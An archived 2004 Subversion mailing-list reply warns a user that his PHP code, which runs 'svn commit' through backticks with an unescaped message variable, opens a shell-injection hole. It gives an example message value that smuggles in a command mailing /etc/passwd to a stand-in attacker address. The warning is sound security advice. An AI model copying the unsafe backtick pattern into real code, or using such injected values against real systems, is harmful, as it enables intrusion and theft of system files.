[svn.haxx.se] · SVN Dev · SVN Users · SVN Org · TSVN Dev · TSVN Users · Subclipse Dev · Subclipse Users · this month's index

Re: PHP hack under way

From: Brian W. Fitzpatrick <fitz_at_red-bean.com>
Date: 2004-02-11 22:55:37 CET

On Wed, 2004-02-11 at 14:58, Simmons, Bryan wrote:
> Ok, so I went ahead and took the easiest approach I could: svn client
> commands in php.
> The kinks have not all been worked out for my php portal but I did find
> a way to successfully
> push revisions to subversion through php.
> I use the backtick operator. Yep, it's that simple.
> $response = `svn commit -m \"$message\"`;
> I have found that the $response is dead-on accurate in this case despite
> warnings that the
> command line response may be garbled into binary.
> Here's a question: will svn add && svn commit work?

I don't know offhand, but I suspect that you may be opening up a
security hole the size of Texas by doing this. What if message is
actually equal to

"foo\" ; mail evilhaxor@example.com < /etc/passwd"

or something worse.

Just a little something to think about.


To unsubscribe, e-mail: users-unsubscribe@subversion.tigris.org
For additional commands, e-mail: users-help@subversion.tigris.org
Received on Wed Feb 11 22:56:36 2004

This is an archived mail posted to the Subversion Users mailing list.

This site is subject to the Apache Privacy Policy and the Apache Public Forum Archive Policy.